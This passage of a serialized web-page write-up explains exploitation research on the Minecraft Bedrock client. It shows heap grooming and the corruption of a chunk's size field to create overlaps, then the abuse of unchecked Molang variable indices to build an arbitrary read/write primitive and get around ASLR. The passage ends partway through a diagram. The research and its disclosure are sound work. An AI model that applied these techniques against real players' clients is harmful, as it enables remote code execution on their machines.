98.4%\n",[151000],{"type":23,"tag":56,"props":151001,"children":151002},{"__ignoreMap":7},[151003],{"type":28,"value":150998},{"type":23,"tag":24,"props":151005,"children":151006},{},[151007],{"type":28,"value":151008},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":151010,"children":151011},{},[151012],{"type":28,"value":151013},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":17874,"props":151015,"children":151017},{"id":151016},"overlap-attack-overview",[151018],{"type":28,"value":151019},"Overlap Attack Overview",{"type":23,"tag":24,"props":151021,"children":151022},{},[151023,151025,151030],{"type":28,"value":151024},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":56,"props":151026,"children":151028},{"className":151027},[],[151029],{"type":28,"value":125211},{"type":28,"value":151031}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":151033,"children":151034},{},[151035,151037,151042,151044,151049],{"type":28,"value":151036},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":56,"props":151038,"children":151040},{"className":151039},[],[151041],{"type":28,"value":146919},{"type":28,"value":151043},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":56,"props":151045,"children":151047},{"className":151046},[],[151048],{"type":28,"value":146919},{"type":28,"value":151050},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":151052,"children":151053},{},[151054,151056,151061],{"type":28,"value":151055},"To remove those ",{"type":23,"tag":56,"props":151057,"children":151059},{"className":151058},[],[151060],{"type":28,"value":146919},{"type":28,"value":151062},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":151064,"children":151065},{},[151066],{"type":28,"value":151067},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":494,"props":151069,"children":151071},{"code":151070},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[151072],{"type":23,"tag":56,"props":151073,"children":151074},{"__ignoreMap":7},[151075],{"type":28,"value":151070},{"type":23,"tag":24,"props":151077,"children":151078},{},[151079,151081,151086,151088,151093],{"type":28,"value":151080},"Next we create ",{"type":23,"tag":1887,"props":151082,"children":151083},{},[151084],{"type":28,"value":151085},"holes",{"type":28,"value":151087}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":56,"props":151089,"children":151091},{"className":151090},[],[151092],{"type":28,"value":146919},{"type":28,"value":151094},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":494,"props":151096,"children":151098},{"code":151097},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[151099],{"type":23,"tag":56,"props":151100,"children":151101},{"__ignoreMap":7},[151102],{"type":28,"value":151097},{"type":23,"tag":24,"props":151104,"children":151105},{},[151106,151108,151113,151115,151120],{"type":28,"value":151107},"When a ",{"type":23,"tag":56,"props":151109,"children":151111},{"className":151110},[],[151112],{"type":28,"value":146919},{"type":28,"value":151114}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":56,"props":151116,"children":151118},{"className":151117},[],[151119],{"type":28,"value":150905},{"type":28,"value":151121}," field will be overwritten:",{"type":23,"tag":494,"props":151123,"children":151125},{"code":151124},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[151126],{"type":23,"tag":56,"props":151127,"children":151128},{"__ignoreMap":7},[151129],{"type":28,"value":151124},{"type":23,"tag":24,"props":151131,"children":151132},{},[151133,151135,151140,151142,151147,151149,151154],{"type":28,"value":151134},"Once ",{"type":23,"tag":56,"props":151136,"children":151138},{"className":151137},[],[151139],{"type":28,"value":150905},{"type":28,"value":151141}," has been overwritten, ",{"type":23,"tag":56,"props":151143,"children":151145},{"className":151144},[],[151146],{"type":28,"value":146919},{"type":28,"value":151148}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":56,"props":151150,"children":151152},{"className":151151},[],[151153],{"type":28,"value":150905},{"type":28,"value":151155}," field corrupted:",{"type":23,"tag":494,"props":151157,"children":151159},{"code":151158},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[151160],{"type":23,"tag":56,"props":151161,"children":151162},{"__ignoreMap":7},[151163],{"type":28,"value":151158},{"type":23,"tag":24,"props":151165,"children":151166},{},[151167],{"type":28,"value":151168},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":494,"props":151170,"children":151172},{"code":151171},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[151173],{"type":23,"tag":56,"props":151174,"children":151175},{"__ignoreMap":7},[151176],{"type":28,"value":151171},{"type":23,"tag":24,"props":151178,"children":151179},{},[151180],{"type":28,"value":151181},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":494,"props":151183,"children":151185},{"code":151184},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[151186],{"type":23,"tag":56,"props":151187,"children":151188},{"__ignoreMap":7},[151189],{"type":28,"value":151184},{"type":23,"tag":17774,"props":151191,"children":151192},{},[],{"type":23,"tag":24,"props":151194,"children":151195},{},[151196],{"type":28,"value":151197},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":151199,"children":151200},{},[151201],{"type":28,"value":151202},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":82,"props":151204,"children":151206},{"id":151205},"molang",[151207],{"type":28,"value":151208},"Molang",{"type":23,"tag":24,"props":151210,"children":151211},{},[151212,151214,151221],{"type":28,"value":151213},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":92,"props":151215,"children":151218},{"href":151216,"rel":151217},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[96],[151219],{"type":28,"value":151220},"syntax guide",{"type":28,"value":320},{"type":23,"tag":24,"props":151223,"children":151224},{},[151225,151227,151232,151233,151238],{"type":28,"value":151226},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":56,"props":151228,"children":151230},{"className":151229},[],[151231],{"type":28,"value":7559},{"type":28,"value":430},{"type":23,"tag":56,"props":151234,"children":151236},{"className":151235},[],[151237],{"type":28,"value":14669},{"type":28,"value":151239}," operators are supported.",{"type":23,"tag":24,"props":151241,"children":151242},{},[151243,151245,151251,151253,151258,151260,151265,151266,151271,151272],{"type":28,"value":151244},"Variables are defined by prepending ",{"type":23,"tag":56,"props":151246,"children":151248},{"className":151247},[],[151249],{"type":28,"value":151250},"variable.",{"type":28,"value":151252}," to the name and assigning a value. For example, to define ",{"type":23,"tag":56,"props":151254,"children":151256},{"className":151255},[],[151257],{"type":28,"value":8065},{"type":28,"value":151259}," as the sum of ",{"type":23,"tag":56,"props":151261,"children":151263},{"className":151262},[],[151264],{"type":28,"value":92},{"type":28,"value":430},{"type":23,"tag":56,"props":151267,"children":151269},{"className":151268},[],[151270],{"type":28,"value":2200},{"type":28,"value":14311},{"type":23,"tag":56,"props":151273,"children":151275},{"className":151274},[],[151276],{"type":28,"value":151277},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":151279,"children":151280},{},[151281,151283,151288,151289,151294,151295,151300,151301,151306],{"type":28,"value":151282},"Logical operators such as ",{"type":23,"tag":56,"props":151284,"children":151286},{"className":151285},[],[151287],{"type":28,"value":21400},{"type":28,"value":576},{"type":23,"tag":56,"props":151290,"children":151292},{"className":151291},[],[151293],{"type":28,"value":71946},{"type":28,"value":576},{"type":23,"tag":56,"props":151296,"children":151298},{"className":151297},[],[151299],{"type":28,"value":4789},{"type":28,"value":576},{"type":23,"tag":56,"props":151302,"children":151304},{"className":151303},[],[151305],{"type":28,"value":9443},{"type":28,"value":151307},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":494,"props":151309,"children":151311},{"code":151310},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[151312],{"type":23,"tag":56,"props":151313,"children":151314},{"__ignoreMap":7},[151315],{"type":28,"value":151310},{"type":23,"tag":24,"props":151317,"children":151318},{},[151319],{"type":28,"value":151320},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":17874,"props":151322,"children":151324},{"id":151323},"molang-internals",[151325],{"type":28,"value":151326},"Molang Internals",{"type":23,"tag":24,"props":151328,"children":151329},{},[151330],{"type":28,"value":151331},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":151333,"children":151334},{},[151335],{"type":28,"value":151336},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":17874,"props":151338,"children":151340},{"id":151339},"molangvariable-and-molangscriptarg",[151341],{"type":28,"value":151342},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":151344,"children":151345},{},[151346,151347,151353],{"type":28,"value":101102},{"type":23,"tag":56,"props":151348,"children":151350},{"className":151349},[],[151351],{"type":28,"value":151352},"MolangVariable",{"type":28,"value":151354}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":494,"props":151356,"children":151358},{"code":151357,"language":2124,"meta":7,"className":15493,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[151359],{"type":23,"tag":56,"props":151360,"children":151361},{"__ignoreMap":7},[151362,151374,151381,151393,151406,151414,151421,151428,151440,151453,151465,151495,151503,151510,151517],{"type":23,"tag":504,"props":151363,"children":151364},{"class":506,"line":507},[151365,151369],{"type":23,"tag":504,"props":151366,"children":151367},{"style":511},[151368],{"type":28,"value":8383},{"type":23,"tag":504,"props":151370,"children":151371},{"style":523},[151372],{"type":28,"value":151373}," MolangVariable {\n",{"type":23,"tag":504,"props":151375,"children":151376},{"class":506,"line":540},[151377],{"type":23,"tag":504,"props":151378,"children":151379},{"style":523},[151380],{"type":28,"value":60765},{"type":23,"tag":504,"props":151382,"children":151383},{"class":506,"line":555},[151384,151388],{"type":23,"tag":504,"props":151385,"children":151386},{"style":511},[151387],{"type":28,"value":5036},{"type":23,"tag":504,"props":151389,"children":151390},{"style":523},[151391],{"type":28,"value":151392}," HashedString {\n",{"type":23,"tag":504,"props":151394,"children":151395},{"class":506,"line":633},[151396,151401],{"type":23,"tag":504,"props":151397,"children":151398},{"style":511},[151399],{"type":28,"value":151400},"        uint64_t",{"type":23,"tag":504,"props":151402,"children":151403},{"style":523},[151404],{"type":28,"value":151405}," variable_name_hash;\n",{"type":23,"tag":504,"props":151407,"children":151408},{"class":506,"line":687},[151409],{"type":23,"tag":504,"props":151410,"children":151411},{"style":523},[151412],{"type":28,"value":151413},"        std::string variable_name;\n",{"type":23,"tag":504,"props":151415,"children":151416},{"class":506,"line":736},[151417],{"type":23,"tag":504,"props":151418,"children":151419},{"style":523},[151420],{"type":28,"value":37973},{"type":23,"tag":504,"props":151422,"children":151423},{"class":506,"line":785},[151424],{"type":23,"tag":504,"props":151425,"children":151426},{"style":523},[151427],{"type":28,"value":60765},{"type":23,"tag":504,"props":151429,"children":151430},{"class":506,"line":813},[151431,151435],{"type":23,"tag":504,"props":151432,"children":151433},{"style":511},[151434],{"type":28,"value":5036},{"type":23,"tag":504,"props":151436,"children":151437},{"style":523},[151438],{"type":28,"value":151439}," MolangScriptArg {\n",{"type":23,"tag":504,"props":151441,"children":151442},{"class":506,"line":851},[151443,151448],{"type":23,"tag":504,"props":151444,"children":151445},{"style":511},[151446],{"type":28,"value":151447},"        uint32_t",{"type":23,"tag":504,"props":151449,"children":151450},{"style":523},[151451],{"type":28,"value":151452}," value_type;\n",{"type":23,"tag":504,"props":151454,"children":151455},{"class":506,"line":869},[151456,151460],{"type":23,"tag":504,"props":151457,"children":151458},{"style":511},[151459],{"type":28,"value":151400},{"type":23,"tag":504,"props":151461,"children":151462},{"style":523},[151463],{"type":28,"value":151464}," value;\n",{"type":23,"tag":504,"props":151466,"children":151467},{"class":506,"line":878},[151468,151473,151477,151481,151486,151490],{"type":23,"tag":504,"props":151469,"children":151470},{"style":523},[151471],{"type":28,"value":151472},"        std::vector",{"type":23,"tag":504,"props":151474,"children":151475},{"style":598},[151476],{"type":28,"value":4789},{"type":23,"tag":504,"props":151478,"children":151479},{"style":511},[151480],{"type":28,"value":8383},{"type":23,"tag":504,"props":151482,"children":151483},{"style":523},[151484],{"type":28,"value":151485}," MolangScriptArg",{"type":23,"tag":504,"props":151487,"children":151488},{"style":598},[151489],{"type":28,"value":9443},{"type":23,"tag":504,"props":151491,"children":151492},{"style":523},[151493],{"type":28,"value":151494}," struct_fields;\n",{"type":23,"tag":504,"props":151496,"children":151497},{"class":506,"line":1221},[151498],{"type":23,"tag":504,"props":151499,"children":151500},{"style":523},[151501],{"type":28,"value":151502},"        \n",{"type":23,"tag":504,"props":151504,"children":151505},{"class":506,"line":1276},[151506],{"type":23,"tag":504,"props":151507,"children":151508},{"style":523},[151509],{"type":28,"value":122790},{"type":23,"tag":504,"props":151511,"children":151512},{"class":506,"line":1285},[151513],{"type":23,"tag":504,"props":151514,"children":151515},{"style":523},[151516],{"type":28,"value":37973},{"type":23,"tag":504,"props":151518,"children":151519},{"class":506,"line":1294},[151520],{"type":23,"tag":504,"props":151521,"children":151522},{"style":523},[151523],{"type":28,"value":15556},{"type":23,"tag":24,"props":151525,"children":151526},{},[151527,151529,151534],{"type":28,"value":151528},"In memory a ",{"type":23,"tag":56,"props":151530,"children":151532},{"className":151531},[],[151533],{"type":28,"value":151352},{"type":28,"value":151535}," instance resembles:",{"type":23,"tag":494,"props":151537,"children":151539},{"code":151538},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[151540],{"type":23,"tag":56,"props":151541,"children":151542},{"__ignoreMap":7},[151543],{"type":28,"value":151538},{"type":23,"tag":24,"props":151545,"children":151546},{},[151547],{"type":28,"value":151548},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":151550,"children":151551},{},[151552],{"type":23,"tag":126,"props":151553,"children":151555},{"alt":128,"src":151554},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":151557,"children":151558},{},[151559],{"type":28,"value":151560},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":151562,"children":151563},{},[151564,151566,151572,151574,151579,151581,151587,151589,151594,151595,151600,151602,151607,151608,151614,151615,151621],{"type":28,"value":151565},"We only care about the ",{"type":23,"tag":56,"props":151567,"children":151569},{"className":151568},[],[151570],{"type":28,"value":151571},"MolangScriptArg",{"type":28,"value":151573}," beginning at offset ",{"type":23,"tag":56,"props":151575,"children":151577},{"className":151576},[],[151578],{"type":28,"value":127669},{"type":28,"value":151580}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":56,"props":151582,"children":151584},{"className":151583},[],[151585],{"type":28,"value":151586},"value_type",{"type":28,"value":151588}," at ",{"type":23,"tag":56,"props":151590,"children":151592},{"className":151591},[],[151593],{"type":28,"value":127669},{"type":28,"value":4483},{"type":23,"tag":56,"props":151596,"children":151598},{"className":151597},[],[151599],{"type":28,"value":3001},{"type":28,"value":151601}," (meaning float), and the ",{"type":23,"tag":56,"props":151603,"children":151605},{"className":151604},[],[151606],{"type":28,"value":38128},{"type":28,"value":151588},{"type":23,"tag":56,"props":151609,"children":151611},{"className":151610},[],[151612],{"type":28,"value":151613},"0x38",{"type":28,"value":4483},{"type":23,"tag":56,"props":151616,"children":151618},{"className":151617},[],[151619],{"type":28,"value":151620},"0xbf2070c8",{"type":28,"value":320},{"type":23,"tag":24,"props":151623,"children":151624},{},[151625,151627,151633,151635,151640,151642,151647,151648,151653,151655,151660,151662,151667],{"type":28,"value":151626},"During assignment, such as ",{"type":23,"tag":56,"props":151628,"children":151630},{"className":151629},[],[151631],{"type":28,"value":151632},"variable.a = variable.b",{"type":28,"value":151634},", each field of ",{"type":23,"tag":56,"props":151636,"children":151638},{"className":151637},[],[151639],{"type":28,"value":151571},{"type":28,"value":151641}," is copied from variable ",{"type":23,"tag":56,"props":151643,"children":151645},{"className":151644},[],[151646],{"type":28,"value":2200},{"type":28,"value":55755},{"type":23,"tag":56,"props":151649,"children":151651},{"className":151650},[],[151652],{"type":28,"value":92},{"type":28,"value":151654},". Interestingly, the ",{"type":23,"tag":56,"props":151656,"children":151658},{"className":151657},[],[151659],{"type":28,"value":38128},{"type":28,"value":151661}," field is always copied as a ",{"type":23,"tag":56,"props":151663,"children":151665},{"className":151664},[],[151666],{"type":28,"value":54613},{"type":28,"value":151668}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":151670,"children":151671},{},[151672,151674,151680],{"type":28,"value":151673},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":56,"props":151675,"children":151677},{"className":151676},[],[151678],{"type":28,"value":151679},"MolangVariableMap",{"type":28,"value":320},{"type":23,"tag":17874,"props":151682,"children":151684},{"id":151683},"molangvariablemap",[151685],{"type":28,"value":151679},{"type":23,"tag":24,"props":151687,"children":151688},{},[151689,151694,151696,151702,151704,151710],{"type":23,"tag":56,"props":151690,"children":151692},{"className":151691},[],[151693],{"type":28,"value":151679},{"type":28,"value":151695}," is simply a ",{"type":23,"tag":56,"props":151697,"children":151699},{"className":151698},[],[151700],{"type":28,"value":151701},"std::vector\u003CMolangVariable *>",{"type":28,"value":151703}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":56,"props":151705,"children":151707},{"className":151706},[],[151708],{"type":28,"value":151709},"std::vector",{"type":28,"value":151711}," layout:",{"type":23,"tag":494,"props":151713,"children":151715},{"code":151714,"language":2124,"meta":7,"className":15493,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[151716],{"type":23,"tag":56,"props":151717,"children":151718},{"__ignoreMap":7},[151719,151731,151747,151763,151779],{"type":23,"tag":504,"props":151720,"children":151721},{"class":506,"line":507},[151722,151726],{"type":23,"tag":504,"props":151723,"children":151724},{"style":511},[151725],{"type":28,"value":8383},{"type":23,"tag":504,"props":151727,"children":151728},{"style":523},[151729],{"type":28,"value":151730}," vector {\n",{"type":23,"tag":504,"props":151732,"children":151733},{"class":506,"line":540},[151734,151738,151742],{"type":23,"tag":504,"props":151735,"children":151736},{"style":511},[151737],{"type":28,"value":15526},{"type":23,"tag":504,"props":151739,"children":151740},{"style":598},[151741],{"type":28,"value":8797},{"type":23,"tag":504,"props":151743,"children":151744},{"style":523},[151745],{"type":28,"value":151746},"buf;\n",{"type":23,"tag":504,"props":151748,"children":151749},{"class":506,"line":555},[151750,151754,151758],{"type":23,"tag":504,"props":151751,"children":151752},{"style":511},[151753],{"type":28,"value":15526},{"type":23,"tag":504,"props":151755,"children":151756},{"style":598},[151757],{"type":28,"value":8797},{"type":23,"tag":504,"props":151759,"children":151760},{"style":523},[151761],{"type":28,"value":151762},"len;\n",{"type":23,"tag":504,"props":151764,"children":151765},{"class":506,"line":633},[151766,151770,151774],{"type":23,"tag":504,"props":151767,"children":151768},{"style":511},[151769],{"type":28,"value":15526},{"type":23,"tag":504,"props":151771,"children":151772},{"style":598},[151773],{"type":28,"value":8797},{"type":23,"tag":504,"props":151775,"children":151776},{"style":523},[151777],{"type":28,"value":151778},"cap;\n",{"type":23,"tag":504,"props":151780,"children":151781},{"class":506,"line":687},[151782],{"type":23,"tag":504,"props":151783,"children":151784},{"style":523},[151785],{"type":28,"value":15556},{"type":23,"tag":24,"props":151787,"children":151788},{},[151789,151794,151796,151801,151803,151809,151811,151816,151817,151822],{"type":23,"tag":56,"props":151790,"children":151792},{"className":151791},[],[151793],{"type":28,"value":148875},{"type":28,"value":151795}," points to the allocated array of elements, ",{"type":23,"tag":56,"props":151797,"children":151799},{"className":151798},[],[151800],{"type":28,"value":8121},{"type":28,"value":151802}," points just past the last used element, and ",{"type":23,"tag":56,"props":151804,"children":151806},{"className":151805},[],[151807],{"type":28,"value":151808},"cap",{"type":28,"value":151810}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":56,"props":151812,"children":151814},{"className":151813},[],[151815],{"type":28,"value":8121},{"type":28,"value":430},{"type":23,"tag":56,"props":151818,"children":151820},{"className":151819},[],[151821],{"type":28,"value":151808},{"type":28,"value":151823}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":151825,"children":151826},{},[151827],{"type":28,"value":151828},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":494,"props":151830,"children":151832},{"code":151831},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[151833],{"type":23,"tag":56,"props":151834,"children":151835},{"__ignoreMap":7},[151836],{"type":28,"value":151831},{"type":23,"tag":24,"props":151838,"children":151839},{},[151840,151842,151848,151850,151856],{"type":28,"value":151841},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":56,"props":151843,"children":151845},{"className":151844},[],[151846],{"type":28,"value":151847},"variable.result",{"type":28,"value":151849},") may differ between entities. To get around this, ",{"type":23,"tag":56,"props":151851,"children":151853},{"className":151852},[],[151854],{"type":28,"value":151855},"MolangIndexMap",{"type":28,"value":151857}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":17874,"props":151859,"children":151861},{"id":151860},"molangindexmap",[151862],{"type":28,"value":151855},{"type":23,"tag":24,"props":151864,"children":151865},{},[151866,151871,151873,151879,151881,151887],{"type":23,"tag":56,"props":151867,"children":151869},{"className":151868},[],[151870],{"type":28,"value":151855},{"type":28,"value":151872}," is a per-entity ",{"type":23,"tag":56,"props":151874,"children":151876},{"className":151875},[],[151877],{"type":28,"value":151878},"std::vector\u003Cuint16_t>",{"type":28,"value":151880},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":56,"props":151882,"children":151884},{"className":151883},[],[151885],{"type":28,"value":151886},"variable.result = 0",{"type":28,"value":151888}," it:",{"type":23,"tag":41,"props":151890,"children":151891},{},[151892,151902,151912],{"type":23,"tag":45,"props":151893,"children":151894},{},[151895,151897],{"type":28,"value":151896},"Checks the global hashmap for ",{"type":23,"tag":56,"props":151898,"children":151900},{"className":151899},[],[151901],{"type":28,"value":8065},{"type":23,"tag":45,"props":151903,"children":151904},{},[151905,151907],{"type":28,"value":151906},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":56,"props":151908,"children":151910},{"className":151909},[],[151911],{"type":28,"value":151855},{"type":23,"tag":45,"props":151913,"children":151914},{},[151915,151917],{"type":28,"value":151916},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":56,"props":151918,"children":151920},{"className":151919},[],[151921],{"type":28,"value":151922},"last_index + 1",{"type":23,"tag":24,"props":151924,"children":151925},{},[151926,151928,151933,151935,151940,151942,151947,151949,151954,151956,151961,151962,151968,151970,151975],{"type":28,"value":151927},"This means the same global index for variable ",{"type":23,"tag":56,"props":151929,"children":151931},{"className":151930},[],[151932],{"type":28,"value":8065},{"type":28,"value":151934}," maps to the same position inside every entity’s ",{"type":23,"tag":56,"props":151936,"children":151938},{"className":151937},[],[151939],{"type":28,"value":151855},{"type":28,"value":151941},", but the actual ",{"type":23,"tag":56,"props":151943,"children":151945},{"className":151944},[],[151946],{"type":28,"value":151352},{"type":28,"value":151948}," for ",{"type":23,"tag":56,"props":151950,"children":151952},{"className":151951},[],[151953],{"type":28,"value":8065},{"type":28,"value":151955}," may live at different slots inside each entity's ",{"type":23,"tag":56,"props":151957,"children":151959},{"className":151958},[],[151960],{"type":28,"value":151679},{"type":28,"value":17512},{"type":23,"tag":56,"props":151963,"children":151965},{"className":151964},[],[151966],{"type":28,"value":151967},"Entity.MolangIndexMap[global_index]",{"type":28,"value":151969}," stores the per-entity index (slot) of variable ",{"type":23,"tag":56,"props":151971,"children":151973},{"className":151972},[],[151974],{"type":28,"value":8065},{"type":28,"value":320},{"type":23,"tag":24,"props":151977,"children":151978},{},[151979,151981,151986,151988,151993,151995,152000,152002,152007,152009,152015,152017,152022],{"type":28,"value":151980},"Importantly, we found that indices in the ",{"type":23,"tag":56,"props":151982,"children":151984},{"className":151983},[],[151985],{"type":28,"value":151855},{"type":28,"value":151987}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":56,"props":151989,"children":151991},{"className":151990},[],[151992],{"type":28,"value":151679},{"type":28,"value":151994},". This means that if we overwrite the index of variable ",{"type":23,"tag":56,"props":151996,"children":151998},{"className":151997},[],[151999],{"type":28,"value":8065},{"type":28,"value":152001}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":56,"props":152003,"children":152005},{"className":152004},[],[152006],{"type":28,"value":151679},{"type":28,"value":152008},", we could read from and write to ",{"type":23,"tag":56,"props":152010,"children":152012},{"className":152011},[],[152013],{"type":28,"value":152014},"address + 0x38",{"type":28,"value":152016}," through ",{"type":23,"tag":56,"props":152018,"children":152020},{"className":152019},[],[152021],{"type":28,"value":151847},{"type":28,"value":320},{"type":23,"tag":82,"props":152024,"children":152026},{"id":152025},"building-a-molang-arbitrary-rw-primitive",[152027],{"type":28,"value":152028},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":152030,"children":152031},{},[152032,152034,152039,152041,152046],{"type":28,"value":152033},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":56,"props":152035,"children":152037},{"className":152036},[],[152038],{"type":28,"value":151709},{"type":28,"value":152040}," - specifically, of ",{"type":23,"tag":56,"props":152042,"children":152044},{"className":152043},[],[152045],{"type":28,"value":151679},{"type":28,"value":152047}," vector.",{"type":23,"tag":24,"props":152049,"children":152050},{},[152051,152053,152058,152060,152065,152066,152071,152073,152078],{"type":28,"value":152052},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":56,"props":152054,"children":152056},{"className":152055},[],[152057],{"type":28,"value":151679},{"type":28,"value":152059}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":56,"props":152061,"children":152063},{"className":152062},[],[152064],{"type":28,"value":148875},{"type":28,"value":54770},{"type":23,"tag":56,"props":152067,"children":152069},{"className":152068},[],[152070],{"type":28,"value":151679},{"type":28,"value":152072}," vector belonging to an entity object placed just next the ",{"type":23,"tag":56,"props":152074,"children":152076},{"className":152075},[],[152077],{"type":28,"value":151679},{"type":28,"value":152079}," allocated buffer.",{"type":23,"tag":494,"props":152081,"children":152083},{"code":152082},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       